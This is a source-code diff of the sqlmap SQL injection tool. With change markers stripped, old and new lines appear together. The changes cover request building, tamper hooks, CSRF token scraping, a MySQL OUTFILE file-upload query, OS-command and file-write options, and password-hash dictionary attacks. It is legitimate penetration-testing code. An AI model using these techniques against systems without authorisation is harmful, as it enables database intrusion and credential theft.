filesystem.add_option("--file-write", dest="wFile",
filesystem.add_option("--file-write", dest="fileWrite",
help="Write a local file on the back-end DBMS file system")
filesystem.add_option("--file-dest", dest="dFile",
filesystem.add_option("--file-dest", dest="fileDest",
help="Back-end DBMS absolute filepath to write to")
# Takeover options
@@ -617,7 +617,7 @@ def cmdLineParser(argv=None):
help="Run host OS command(s) when SQL injection is found")
miscellaneous.add_option("--answers", dest="answers",
help="Set question answers (e.g. \"quit=N,follow=N\")")
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found")
@@ -626,7 +626,7 @@ def cmdLineParser(argv=None):
help="Clean up the DBMS from sqlmap specific UDF and tables")
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
help="Check for missing (non-core) sqlmap dependencies")
help="Check for missing (optional) sqlmap dependencies")
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
help="Disable console output coloring")
@@ -635,7 +635,7 @@ def cmdLineParser(argv=None):
help="Use Google dork results from specified page number")
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection")
help="Make a thorough testing for a WAF/IPS protection")
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
help="Display list of available tamper scripts")
@@ -650,7 +650,7 @@ def cmdLineParser(argv=None):
help="Safely remove all content from sqlmap data directory")
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection")
help="Skip heuristic detection of WAF/IPS protection")
miscellaneous.add_option("--smart", dest="smart", action="store_true",
help="Conduct thorough tests only if positive heuristic(s)")
@@ -753,6 +753,7 @@ def cmdLineParser(argv=None):
prompt = False
advancedHelp = True
extraHeaders = []
tamperIndex = None
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
for arg in argv:
@@ -824,6 +825,12 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit
elif argv[i].startswith("--tamper"):
if tamperIndex is None:
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
else:
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
argv[i] = ""
elif argv[i] == "-H":
if i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
+4
View File
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
"""
import os
import re
from xml.etree import ElementTree as et
@@ -17,6 +18,9 @@ from lib.core.exception import SqlmapInstallationException
from lib.core.settings import PAYLOAD_XML_FILES
def cleanupVals(text, tag):
if tag == "clause" and '-' in text:
text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text)
if tag in ("clause", "where"):
text = text.split(',')
+5 -1
View File
@@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
if kb.heavilyDynamic:
seq1 = seq1.split("\n")
seq2 = seq2.split("\n")
seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2)
ratio = round(seqMatcher.quick_ratio(), 3)
ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
+70 -24
View File
@@ -16,6 +16,7 @@ import string
import struct
import time
import traceback
import urllib
import urllib2
import urlparse
@@ -68,6 +69,7 @@ from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import AUTH_TYPE
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HINT
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import NULLCONNECTION
@@ -87,6 +89,7 @@ from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import DEFAULT_CONTENT_TYPE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import EVALCODE_KEYWORD_SUFFIX
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
@@ -97,6 +100,8 @@ from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
from lib.core.settings import MAX_MURPHY_SLEEP_TIME
from lib.core.settings import META_REFRESH_REGEX
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MAX_TIME_RESPONSES
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_CHUNK_TRIM_MARKER
from lib.core.settings import PAYLOAD_DELIMITER
@@ -357,14 +362,21 @@ class Connect(object):
if kb.proxyAuthHeader:
headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
if not getHeader(headers, HTTP_HEADER.ACCEPT):
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if not conf.requestFile or not target:
if not getHeader(headers, HTTP_HEADER.HOST):
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if not getHeader(headers, HTTP_HEADER.HOST) or not target:
headers[HTTP_HEADER.HOST] = getHostHeader(url)
if not getHeader(headers, HTTP_HEADER.ACCEPT):
headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
for header in headers:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
del headers[header]
break
if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
@@ -381,10 +393,6 @@ class Connect(object):
if conf.keepAlive:
headers[HTTP_HEADER.CONNECTION] = "keep-alive"
# Reset header values to original in case of provided request file
if target and conf.requestFile:
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
if auxHeaders:
headers = forgeHeaders(auxHeaders, headers)
@@ -490,9 +498,10 @@ class Connect(object):
page = Connect._connReadProxy(conn) if not skipRead else None
if conn:
code = conn.code
code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes)
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
else:
code = None
responseHeaders = {}
@@ -587,7 +596,7 @@ class Connect(object):
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -646,7 +655,7 @@ class Connect(object):
warnMsg = "connection was forcibly closed by the target URL"
elif "timed out" in tbMsg:
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests")
kb.droppingRequests = True
warnMsg = "connection timed out to the target URL"
elif "Connection reset" in tbMsg:
@@ -655,7 +664,7 @@ class Connect(object):
conf.disablePrecon = True
if kb.testMode:
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests")
kb.droppingRequests = True
warnMsg = "connection reset to the target URL"
elif "URLError" in tbMsg or "error" in tbMsg:
@@ -746,7 +755,7 @@ class Connect(object):
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
else:
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status)
if responseHeaders:
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
@@ -813,10 +822,14 @@ class Connect(object):
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload:
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions:
hints = {}
try:
payload = function(payload=payload, headers=auxHeaders)
payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
except Exception, ex:
errMsg = "error occurred while running tamper "
errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex))
@@ -829,6 +842,18 @@ class Connect(object):
value = agent.replacePayload(value, payload)
if hints:
if HINT.APPEND in hints:
value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND])
if HINT.PREPEND in hints:
if place == PLACE.URI:
match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
if match:
value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
else:
value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))
if place == PLACE.CUSTOM_POST and kb.postHint:
@@ -845,10 +870,10 @@ class Connect(object):
value = agent.replacePayload(value, payload)
else:
# GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
skip = False
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
if kb.cookieEncodeChoice is None:
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True)
@@ -937,7 +962,7 @@ class Connect(object):
retVal = paramString
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString)
if match:
retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
retVal = re.sub(re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
else:
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
if match:
@@ -945,15 +970,27 @@ class Connect(object):
return retVal
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "")
token = extractRegexResult(r"(?i)<input[^>]+\bname=[\"']?%s\b[^>]*\bvalue=[\"']?(?P<result>[^>'\"]*)" % re.escape(conf.csrfToken), page or "")
if not token:
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
token = extractRegexResult(r"(?i)<input[^>]+\bvalue=[\"']?(?P<result>[^>'\"]*)[\"']?[^>]*\bname=[\"']?%s\b" % re.escape(conf.csrfToken), page or "")
if not token:
match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
token = match.group(1) if match else None
if not token:
token = extractRegexResult(r"\b%s\s*[:=]\s*(?P<result>\w+)" % re.escape(conf.csrfToken), str(headers))
if not token:
token = extractRegexResult(r"\b%s\s*=\s*['\"]?(?P<result>[^;'\"]+)" % re.escape(conf.csrfToken), page or "")
if token:
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token)
if match:
token = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
if not token:
if conf.csrfUrl != conf.url and code == httplib.OK:
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -1232,13 +1269,20 @@ class Connect(object):
warnMsg = "site returned insanely large response"
if kb.testMode:
warnMsg += " in testing phase. This is a common "
warnMsg += "behavior in custom WAF/IPS/IDS solutions"
warnMsg += "behavior in custom WAF/IPS solutions"
singleTimeWarnMessage(warnMsg)
if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq:
page, headers, code = Connect.getPage(url=kb.secondReq[0], post=kb.secondReq[2], method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""):
def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page
@@ -1254,6 +1298,8 @@ class Connect(object):
elif noteResponseTime:
kb.responseTimes.setdefault(kb.responseTimeMode, [])
kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
if len(kb.responseTimes) > MAX_TIME_RESPONSES:
kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:]
if not response and removeReflection:
page = removeReflectiveValues(page, payload)
+9 -2
View File
@@ -9,6 +9,8 @@ import httplib
import urllib2
from lib.core.data import conf
from lib.core.common import getSafeExString
from lib.core.exception import SqlmapConnectionException
class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
def __init__(self, auth_file):
@@ -19,5 +21,10 @@ class HTTPSPKIAuthHandler(urllib2.HTTPSHandler):
return self.do_open(self.getConnection, req)
def getConnection(self, host, timeout=None):
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
try:
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout)
except IOError, ex:
errMsg = "error occurred while using key "
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
+1 -1
View File
@@ -108,7 +108,7 @@ class UDF:
return output
def udfCheckNeeded(self):
if (not conf.rFile or (conf.rFile and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
if (not conf.fileRead or (conf.fileRead and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn:
+1 -2
View File
@@ -146,8 +146,7 @@ class Web:
query += "OR %d=%d " % (randInt, randInt)
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
+2 -2
View File
@@ -501,7 +501,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ')
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
@@ -518,7 +518,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length))
output += status if _ != length else " " * len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output))
runThreads(numThreads, blindThread, startThreadMsg=False)
+6 -3
View File
@@ -332,7 +332,7 @@ def errorUse(expression, dump=False):
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.info(infoMsg)
elif count and not count.isdigit():
@@ -444,8 +444,11 @@ def errorUse(expression, dump=False):
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields, expressionFieldsList)
if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
value = unArrayizeValue(value)
if value and isListLike(value):
if len(value) == 1 and isinstance(value[0], basestring):
value = unArrayizeValue(value)
elif len(value) > 1 and stopLimit == 1:
value = [value]
duration = calculateDeltaSeconds(start)
+1 -1
View File
@@ -56,7 +56,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. "
+1 -1
View File
@@ -258,7 +258,7 @@ def unionUse(expression, unpack=True, dump=False):
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.info(infoMsg)
elif count and (not isinstance(count, basestring) or not count.isdigit()):
+39 -31
View File
@@ -58,7 +58,7 @@ from thirdparty.bottle.bottle import server_names
# Global data storage
class DataStore(object):
admin_id = ""
admin_token = ""
current_db = None
tasks = dict()
username = None
@@ -275,8 +275,8 @@ def setRestAPILog():
logger.addHandler(LOGGER_RECORDER)
# Generic functions
def is_admin(taskid):
return DataStore.admin_id == taskid
def is_admin(token):
return DataStore.admin_token == token
@hook('before_request')
def check_authentication():
@@ -358,7 +358,7 @@ def path_401():
@get("/task/new")
def task_new():
"""
Create new task ID
Create a new task
"""
taskid = hexencode(os.urandom(8))
remote_addr = request.remote_addr
@@ -371,7 +371,7 @@ def task_new():
@get("/task/<taskid>/delete")
def task_delete(taskid):
"""
Delete own task ID
Delete an existing task
"""
if taskid in DataStore.tasks:
DataStore.tasks.pop(taskid)
@@ -379,39 +379,42 @@ def task_delete(taskid):
logger.debug("[%s] Deleted task" % taskid)
return jsonize({"success": True})
else:
logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid)
return jsonize({"success": False, "message": "Invalid task ID"})
response.status = 404
logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid)
return jsonize({"success": False, "message": "Non-existing task ID"})
###################
# Admin functions #
###################
@get("/admin/<taskid>/list")
def task_list(taskid=None):
@get("/admin/list")
@get("/admin/<token>/list")
def task_list(token=None):
"""
List task pull
Pull task list
"""
tasks = {}
for key in DataStore.tasks:
if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
tasks[key] = dejsonize(scan_status(key))["status"]
logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
logger.debug("[%s] Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})
@get("/admin/<taskid>/flush")
def task_flush(taskid):
@get("/admin/flush")
@get("/admin/<token>/flush")
def task_flush(token=None):
"""
Flush task spool (delete all tasks)
"""
for key in list(DataStore.tasks):
if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
DataStore.tasks[key].engine_kill()
del DataStore.tasks[key]
logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
logger.debug("[%s] Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
return jsonize({"success": True})
##################################
@@ -434,25 +437,30 @@ def option_list(taskid):
@post("/option/<taskid>/get")
def option_get(taskid):
"""
Get the value of an option (command line switch) for a certain task ID
Get value of option(s) for a certain task ID
"""
if taskid not in DataStore.tasks:
logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
return jsonize({"success": False, "message": "Invalid task ID"})
option = request.json.get("option", "")
options = request.json or []
results = {}
if option in DataStore.tasks[taskid].options:
logger.debug("[%s] Retrieved value for option %s" % (taskid, option))
return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)})
else:
logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
return jsonize({"success": False, "message": "Unknown option", option: "not set"})
for option in options:
if option in DataStore.tasks[taskid].options:
results[option] = DataStore.tasks[taskid].options[option]
else:
logger.debug("[%s] Requested value for unknown option '%s'" % (taskid, option))
return jsonize({"success": False, "message": "Unknown option '%s'" % option})
logger.debug("[%s] Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
return jsonize({"success": True, "options": results})
@post("/option/<taskid>/set")
def option_set(taskid):
"""
Set an option (command line switch) for a certain task ID
Set value of option(s) for a certain task ID
"""
if taskid not in DataStore.tasks:
@@ -647,7 +655,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
REST-JSON API server
"""
DataStore.admin_id = hexencode(os.urandom(16))
DataStore.admin_token = hexencode(os.urandom(16))
DataStore.username = username
DataStore.password = password
@@ -660,7 +668,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
port = s.getsockname()[1]
logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
logger.info("Admin ID: %s" % DataStore.admin_id)
logger.info("Admin (secret) token: %s" % DataStore.admin_token)
logger.debug("IPC database: '%s'" % Database.filepath)
# Initialize IPC database
@@ -696,7 +704,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
logger.critical(errMsg)
def _client(url, options=None):
logger.debug("Calling %s" % url)
logger.debug("Calling '%s'" % url)
try:
data = None
if options is not None:
@@ -772,11 +780,11 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
logger.error("No task ID in use")
continue
try:
command, option = command.split(" ")
command, option = command.split(" ", 1)
except ValueError:
raw = _client("%s/option/%s/list" % (addr, taskid))
else:
options = {"option": option}
options = re.split(r"\s*,\s*", option.strip())
raw = _client("%s/option/%s/get" % (addr, taskid), options)
res = dejsonize(raw)
if not res["success"]:
@@ -833,7 +841,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
logger.info("Switching to task ID '%s' " % taskid)
elif command in ("list", "flush"):
raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command))
raw = _client("%s/admin/%s" % (addr, command))
res = dejsonize(raw)
if not res["success"]:
logger.error("Failed to execute command %s" % command)
+3 -3
View File
@@ -65,7 +65,7 @@ def checkDependencies():
except ImportError:
warnMsg = "sqlmap requires 'python-impacket' third-party library for "
warnMsg += "out-of-band takeover feature. Download from "
warnMsg += "'http://code.google.com/p/impacket/'"
warnMsg += "'https://github.com/coresecurity/impacket'"
logger.warn(warnMsg)
missing_libraries.add('python-impacket')
@@ -76,7 +76,7 @@ def checkDependencies():
except ImportError:
warnMsg = "sqlmap requires 'python-ntlm' third-party library "
warnMsg += "if you plan to attack a web application behind NTLM "
warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'"
warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'"
logger.warn(warnMsg)
missing_libraries.add('python-ntlm')
@@ -101,7 +101,7 @@ def checkDependencies():
warnMsg += "be able to take advantage of the sqlmap TAB "
warnMsg += "completion and history support features in the SQL "
warnMsg += "shell and OS shell. Download from "
warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'"
warnMsg += "'https://pypi.org/project/pyreadline/'"
logger.warn(warnMsg)
missing_libraries.add('python-pyreadline')
+3 -2
View File
@@ -75,6 +75,7 @@ from lib.core.settings import COMMON_PASSWORD_SUFFIXES
from lib.core.settings import COMMON_USER_COLUMNS
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import DUMMY_USER_PREFIX
from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER
from lib.core.settings import HASH_MOD_ITEM_DISPLAY
from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD
from lib.core.settings import IS_WIN
@@ -684,7 +685,7 @@ def attackDumpedTable():
value = table[column]['values'][i]
if value and value.lower() in lut:
table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER))
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
def hashRecognition(value):
@@ -903,7 +904,7 @@ def dictionaryAttack(attack_dict):
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
item = [(user, hash_.decode("base64").encode("hex")), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1):
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA,):
item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}]
+2 -2
View File
@@ -91,7 +91,7 @@ class HashDB(object):
raise
except sqlite3.DatabaseError, ex:
errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
errMsg += "If the problem persists please rerun with `--flush-session`"
errMsg += "If the problem persists please rerun with '--flush-session'"
raise SqlmapConnectionException(errMsg)
else:
break
@@ -104,7 +104,7 @@ class HashDB(object):
except:
retVal = None
warnMsg = "error occurred while unserializing value for session key '%s'. " % key
warnMsg += "If the problem persists please rerun with `--flush-session`"
warnMsg += "If the problem persists please rerun with '--flush-session'"
logger.warn(warnMsg)
